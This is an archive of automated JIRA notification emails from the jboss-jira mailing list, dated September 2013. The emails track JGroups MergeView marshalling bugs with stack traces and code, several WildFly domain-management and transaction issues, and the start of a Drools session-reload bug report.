> When we have 2 partitions \{A,B,C\} and \{X,Y,Z\} and they merge, but one of the members (e.g. Z) is excluded from the merge (e.g. because it is involved in a different merge already), we create the following MergeView:
> {noformat}
> MergeView:
> view={A,B,C,X,Y}
> subgroups={A,B,C} {X,Y,Z}
> {noformat}
> Because the members of the subgroups refer to the merge view via index, the index for Z is -1, and thus - when unmarshalled - Z points to a null creator, which triggers the following stack trace:
> {noformat}
> 00631037-49819: failed handling incoming message
> java.lang.IllegalArgumentException: creator cannot be null
>         at org.jgroups.ViewId.<init>(ViewId.java:32)
>         at org.jgroups.ViewId.<init>(ViewId.java:42)
>         at org.jgroups.View.create(View.java:90)
>         at org.jgroups.MergeView.readFrom(MergeView.java:119)
>         at org.jgroups.protocols.pbcast.GMS$GmsHeader.readFrom(GMS.java:1285)
>         at org.jgroups.Message.readHeader(Message.java:889)
>         at org.jgroups.Message.readFrom(Message.java:803)
>         at org.jgroups.protocols.TP.readMessageBatch(TP.java:1796)
>         at org.jgroups.protocols.TP.receive(TP.java:1463)
>         at org.jgroups.protocols.UDP$PacketReceiver.run(UDP.java:683)
>         at java.lang.Thread.run(Unknown Source) 
> {noformat}
> SOLUTION:
> * When marshalling a MergeView, and a subgroup member has no corresponding member in {{members}}, then send the *address* instead of the index
> * OR: remove all members from subgroups which are not in {{members}}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:22:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 27 Sep 2013 06:22:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1707) MergeView: marshalling fails
 when subgroups are not a subset of members
In-Reply-To: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501700.1380265774000.3872.1380277322575@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1707?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807860#comment-12807860 ] 

Bela Ban commented on JGRP-1707:
--------------------------------

We don't even need to implement the second suggestion (remove all members from subgroups which are not in {{members}}).
                
> MergeView: marshalling fails when subgroups are not a subset of members
> -----------------------------------------------------------------------
>
>                 Key: JGRP-1707
>                 URL: https://issues.jboss.org/browse/JGRP-1707
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> When we have 2 partitions \{A,B,C\} and \{X,Y,Z\} and they merge, but one of the members (e.g. Z) is excluded from the merge (e.g. because it is involved in a different merge already), we create the following MergeView:
> {noformat}
> MergeView:
> view={A,B,C,X,Y}
> subgroups={A,B,C} {X,Y,Z}
> {noformat}
> Because the members of the subgroups refer to the merge view via index, the index for Z is -1, and thus - when unmarshalled - Z points to a null creator, which triggers the following stack trace:
> {noformat}
> 00631037-49819: failed handling incoming message
> java.lang.IllegalArgumentException: creator cannot be null
>         at org.jgroups.ViewId.<init>(ViewId.java:32)
>         at org.jgroups.ViewId.<init>(ViewId.java:42)
>         at org.jgroups.View.create(View.java:90)
>         at org.jgroups.MergeView.readFrom(MergeView.java:119)
>         at org.jgroups.protocols.pbcast.GMS$GmsHeader.readFrom(GMS.java:1285)
>         at org.jgroups.Message.readHeader(Message.java:889)
>         at org.jgroups.Message.readFrom(Message.java:803)
>         at org.jgroups.protocols.TP.readMessageBatch(TP.java:1796)
>         at org.jgroups.protocols.TP.receive(TP.java:1463)
>         at org.jgroups.protocols.UDP$PacketReceiver.run(UDP.java:683)
>         at java.lang.Thread.run(Unknown Source) 
> {noformat}
> SOLUTION:
> * When marshalling a MergeView, and a subgroup member has no corresponding member in {{members}}, then send the *address* instead of the index
> * OR: remove all members from subgroups which are not in {{members}}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:25:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 27 Sep 2013 06:25:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2172) Resurrect the mixed domain
 testing and fix any problems
In-Reply-To: <JIRA.12501720.1380277458373@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501720.1380277458373@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501720.1380277458373.3877.1380277502658@jira02.app.mwc.hst.phx2.redhat.com>

Kabir Khan created WFLY-2172:
--------------------------------

             Summary: Resurrect the mixed domain testing and fix any problems
                 Key: WFLY-2172
                 URL: https://issues.jboss.org/browse/WFLY-2172
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Kabir Khan
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:25:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 27 Sep 2013 06:25:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2172) Resurrect the mixed domain
 testing and fix any problems
In-Reply-To: <JIRA.12501720.1380277458000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501720.1380277458000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501720.1380277458000.3880.1380277502854@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2172?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan updated WFLY-2172:
-----------------------------

    Priority: Blocker  (was: Major)

    
> Resurrect the mixed domain testing and fix any problems
> -------------------------------------------------------
>
>                 Key: WFLY-2172
>                 URL: https://issues.jboss.org/browse/WFLY-2172
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Brian Stansberry
>            Priority: Blocker
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:27:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 27 Sep 2013 06:27:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2172) Resurrect the mixed domain
 testing and fix any problems
In-Reply-To: <JIRA.12501720.1380277458000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501720.1380277458000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501720.1380277458000.3884.1380277622562@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2172?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan updated WFLY-2172:
-----------------------------

    Description: THis has not been run for quite some time, and needs to be included in the general testing.

    
> Resurrect the mixed domain testing and fix any problems
> -------------------------------------------------------
>
>                 Key: WFLY-2172
>                 URL: https://issues.jboss.org/browse/WFLY-2172
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Brian Stansberry
>            Priority: Blocker
>             Fix For: 8.0.0.CR1
>
>
> THis has not been run for quite some time, and needs to be included in the general testing.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 06:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 06:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1569) Not possible to reload server
 when JTS transactions are activated
In-Reply-To: <JIRA.12494844.1371818256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494844.1371818256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494844.1371818256000.3901.1380278103674@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1569?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807865#comment-12807865 ] 

RH Bugzilla Integration commented on WFLY-1569:
-----------------------------------------------

tom.jenkinson at redhat.com made a comment on [bug 1011379|https://bugzilla.redhat.com/show_bug.cgi?id=1011379]

For information: this has the same severity as 1009931, both are fixed in 4.17.11.
                
> Not possible to reload server when JTS transactions are activated
> -----------------------------------------------------------------
>
>                 Key: WFLY-1569
>                 URL: https://issues.jboss.org/browse/WFLY-1569
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ond?ej Chaloupka
>            Assignee: Stefano Maestri
>
> When transactions are set for JTS being used
>  - <jts/> tag under transactions subsystem
>  - transactions="on" under jacorb subsystem
> then it is not possible to reload the server.
> The reload causes the following exception being shown.
> {code}
> 14:30:56,388 WARN  [com.arjuna.ats.jts] (MSC service thread 1-5) ARJUNA022083: JacOrbRCServiceInit - Failed to start RC service: org.omg.CORBA.OBJECT_NOT_EXIST: POA destroyed
>  at org.jacorb.poa.POA.checkDestructionApparent(POA.java:1409)                           
>  at org.jacorb.poa.POA.set_servant(POA.java:1979)                          
>  at com.arjuna.ats.internal.jts.orbspecific.jacorb.recoverycoordinators.JacOrbRCServiceInit.startRCservice(JacOrbRCServiceInit.java:197) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]        
>  at com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement.startRCservice(RecoveryEnablement.java:137) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]        
>  at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:66) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]         
>  at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]              
>  at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]               
>  at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65) [narayana-jts-integration-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]            
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139) [wildfly-transactions-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]              
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1942) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1875) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                  
>  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]                       
>  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]                       
>  at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]                       
> 14:30:56,396 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-5) MSC000001: Failed to start service jboss.txn.ArjunaRecoveryManager: org.jboss.msc.service.StartException in service jboss.txn.ArjunaRecoveryManager: JBAS010101: Recovery manager create failed                                 
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:142)                      
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1942) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1875) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                  
>  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]                       
>  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]                       
>  at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]                       
> Caused by: java.lang.RuntimeException: ARJUNA012364: RecoveryActivator init failed for com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement            
>  at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:67)                 
>  at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104)                      
>  at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224)                       
>  at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65)                  
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139)                      
>  ... 5 more 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Fri Sep 27 06:37:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 27 Sep 2013 06:37:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1707) MergeView: marshalling fails
 when subgroups are not a subset of members
In-Reply-To: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501700.1380265774000.3904.1380278222485@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1707?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807867#comment-12807867 ] 

Bela Ban commented on JGRP-1707:
--------------------------------

The second exception:
{noformat}
version = 6400 (3.4.0)
flags: OOB
java.lang.RuntimeException: class for magic number 9625 not found
    at org.jgroups.util.Util.readOtherAddress(Util.java:967)
    at org.jgroups.util.Util.readAddress(Util.java:911)
    at org.jgroups.util.Util.readAddresses(Util.java:1038)
    at org.jgroups.View.readFrom(View.java:190)
    at org.jgroups.MergeView.readFrom(MergeView.java:108)
    at org.jgroups.protocols.pbcast.GMS$GmsHeader.readFrom(GMS.java:1285)
    at org.jgroups.Message.readHeader(Message.java:889)
    at org.jgroups.Message.readFrom(Message.java:803)
    at org.jgroups.protocols.TP.readMessageBatch(TP.java:1796)
    at org.jgroups.tests.ParseMessages.parse(ParseMessages.java:56)
    at org.jgroups.ParserPcap.main(ParserPcap.java:37)
{noformat}
is caused by a view of a subgroup not being read correctly. The code is here:
{code}
    public void readFrom(DataInput in) throws Exception {
        super.readFrom(in);
        short len=in.readShort();
        if(len > 0) {
            subgroups=new View[len];
            for(int i=0; i < len; i++) {
                int index=in.readShort();
                long id=in.readLong();
                Address creator=get(index);
                Address[] mbrs=new Address[in.readShort()];
                for(int j=0; j < mbrs.length; j++)
                    mbrs[j]=get(in.readShort());
                View view=View.create(creator, id, mbrs);
                subgroups[i]=view;
            }
        }
    }
{code}
When {{View.create()}} throws an exception, and there are more views in the subgroups, then we have unread data left, and parsing of the next header will fail.
SOLUTION: wrap {{View.create()}} in a try-catch clause and simply skip the view if an exception is thrown
                
> MergeView: marshalling fails when subgroups are not a subset of members
> -----------------------------------------------------------------------
>
>                 Key: JGRP-1707
>                 URL: https://issues.jboss.org/browse/JGRP-1707
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> When we have 2 partitions \{A,B,C\} and \{X,Y,Z\} and they merge, but one of the members (e.g. Z) is excluded from the merge (e.g. because it is involved in a different merge already), we create the following MergeView:
> {noformat}
> MergeView:
> view={A,B,C,X,Y}
> subgroups={A,B,C} {X,Y,Z}
> {noformat}
> Because the members of the subgroups refer to the merge view via index, the index for Z is -1, and thus - when unmarshalled - Z points to a null creator, which triggers the following stack trace:
> {noformat}
> 00631037-49819: failed handling incoming message
> java.lang.IllegalArgumentException: creator cannot be null
>         at org.jgroups.ViewId.<init>(ViewId.java:32)
>         at org.jgroups.ViewId.<init>(ViewId.java:42)
>         at org.jgroups.View.create(View.java:90)
>         at org.jgroups.MergeView.readFrom(MergeView.java:119)
>         at org.jgroups.protocols.pbcast.GMS$GmsHeader.readFrom(GMS.java:1285)
>         at org.jgroups.Message.readHeader(Message.java:889)
>         at org.jgroups.Message.readFrom(Message.java:803)
>         at org.jgroups.protocols.TP.readMessageBatch(TP.java:1796)
>         at org.jgroups.protocols.TP.receive(TP.java:1463)
>         at org.jgroups.protocols.UDP$PacketReceiver.run(UDP.java:683)
>         at java.lang.Thread.run(Unknown Source) 
> {noformat}
> SOLUTION:
> * When marshalling a MergeView, and a subgroup member has no corresponding member in {{members}}, then send the *address* instead of the index
> * OR: remove all members from subgroups which are not in {{members}}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 07:32:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 27 Sep 2013 07:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.4027.1380281523920@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-1916:
------------------------------

        Parent:     (was: WFLY-490)
    Issue Type: Bug  (was: Sub-task)

    
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 07:32:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 27 Sep 2013 07:32:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1707) MergeView: marshalling fails
 when subgroups are not a subset of members
In-Reply-To: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501700.1380265774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501700.1380265774000.4033.1380281524198@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1707?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1707.
----------------------------

    Resolution: Done

    
> MergeView: marshalling fails when subgroups are not a subset of members
> -----------------------------------------------------------------------
>
>                 Key: JGRP-1707
>                 URL: https://issues.jboss.org/browse/JGRP-1707
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> When we have 2 partitions \{A,B,C\} and \{X,Y,Z\} and they merge, but one of the members (e.g. Z) is excluded from the merge (e.g. because it is involved in a different merge already), we create the following MergeView:
> {noformat}
> MergeView:
> view={A,B,C,X,Y}
> subgroups={A,B,C} {X,Y,Z}
> {noformat}
> Because the members of the subgroups refer to the merge view via index, the index for Z is -1, and thus - when unmarshalled - Z points to a null creator, which triggers the following stack trace:
> {noformat}
> 00631037-49819: failed handling incoming message
> java.lang.IllegalArgumentException: creator cannot be null
>         at org.jgroups.ViewId.<init>(ViewId.java:32)
>         at org.jgroups.ViewId.<init>(ViewId.java:42)
>         at org.jgroups.View.create(View.java:90)
>         at org.jgroups.MergeView.readFrom(MergeView.java:119)
>         at org.jgroups.protocols.pbcast.GMS$GmsHeader.readFrom(GMS.java:1285)
>         at org.jgroups.Message.readHeader(Message.java:889)
>         at org.jgroups.Message.readFrom(Message.java:803)
>         at org.jgroups.protocols.TP.readMessageBatch(TP.java:1796)
>         at org.jgroups.protocols.TP.receive(TP.java:1463)
>         at org.jgroups.protocols.UDP$PacketReceiver.run(UDP.java:683)
>         at java.lang.Thread.run(Unknown Source) 
> {noformat}
> SOLUTION:
> * When marshalling a MergeView, and a subgroup member has no corresponding member in {{members}}, then send the *address* instead of the index
> * OR: remove all members from subgroups which are not in {{members}}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 07:42:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 07:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.4110.1380282122796@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807900#comment-12807900 ] 

RH Bugzilla Integration commented on WFLY-1821:
-----------------------------------------------

Michal Babacek <mbabacek at redhat.com> changed the Status of [bug 1003533|https://bugzilla.redhat.com/show_bug.cgi?id=1003533] from ON_QA to VERIFIED
                
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 07:42:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 07:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.4112.1380282122893@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807901#comment-12807901 ] 

RH Bugzilla Integration commented on WFLY-1821:
-----------------------------------------------

Michal Babacek <mbabacek at redhat.com> made a comment on [bug 1003533|https://bugzilla.redhat.com/show_bug.cgi?id=1003533]

O.K. EAP 6.2.0 ER3
                
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 07:50:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 07:50:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1511)
 RemoteDomainConnection.close() will block forever if the master HC is not
 running
In-Reply-To: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494131.1371059684000.4131.1380282602956@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1511?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807903#comment-12807903 ] 

RH Bugzilla Integration commented on WFLY-1511:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 1012850|https://bugzilla.redhat.com/show_bug.cgi?id=1012850]

Relevant PR:

https://github.com/jbossas/jboss-eap/pull/476
                
> RemoteDomainConnection.close() will block forever if the master HC is not running 
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-1511
>                 URL: https://issues.jboss.org/browse/WFLY-1511
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> RemoteDomainConnection.close() overrides FutureManagementChannel.close() to first send a "unregister" message to the master HC before calling the superclass functionality.
> Problem is this call tries to open a connection to the master and will block forever waiting for it to connect if the master isn't available, as seen at http://fpaste.org/18232/37105700/
> That example was from AutoIgnoredResourcesDomainTestCase which is concurrently shutting down the hosts in the domain, meaning the master can be shutting down in the middle of or prior to slave shutdown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 07:50:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 07:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1511)
 RemoteDomainConnection.close() will block forever if the master HC is not
 running
In-Reply-To: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494131.1371059684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494131.1371059684000.4134.1380282603218@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1511?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807904#comment-12807904 ] 

RH Bugzilla Integration commented on WFLY-1511:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 1012850|https://bugzilla.redhat.com/show_bug.cgi?id=1012850] from ASSIGNED to POST
                
> RemoteDomainConnection.close() will block forever if the master HC is not running 
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-1511
>                 URL: https://issues.jboss.org/browse/WFLY-1511
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> RemoteDomainConnection.close() overrides FutureManagementChannel.close() to first send a "unregister" message to the master HC before calling the superclass functionality.
> Problem is this call tries to open a connection to the master and will block forever waiting for it to connect if the master isn't available, as seen at http://fpaste.org/18232/37105700/
> That example was from AutoIgnoredResourcesDomainTestCase which is concurrently shutting down the hosts in the domain, meaning the master can be shutting down in the middle of or prior to slave shutdown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 08:12:02 2013
From: jira-events at lists.jboss.org (Duncan Doyle (JIRA))
Date: Fri, 27 Sep 2013 08:12:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-275) RuleEngine
 AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload
 (Phreak, Stream, PseudoClock)
In-Reply-To: <JIRA.12501735.1380283896217@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501735.1380283896217@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501735.1380283896217.4160.1380283922698@jira02.app.mwc.hst.phx2.redhat.com>

Duncan Doyle created DROOLS-275:
-----------------------------------

             Summary: RuleEngine AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload (Phreak, Stream, PseudoClock)
                 Key: DROOLS-275
                 URL: https://issues.jboss.org/browse/DROOLS-275
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3
         Environment: Mac OS-X 10.8.5, Hotspot 1.7.0_40
            Reporter: Duncan Doyle
            Assignee: Mark Proctor


I persist a KieSession via the Marshaller (serializable) with one fact/event inserted. On reload of the session, I can see that fact is still there (when I check the FactHandles) and the PseudoClock is at the correct time (the time when I persisted it). If I then insert another fact/event into this reloaded session which matches the following rule:

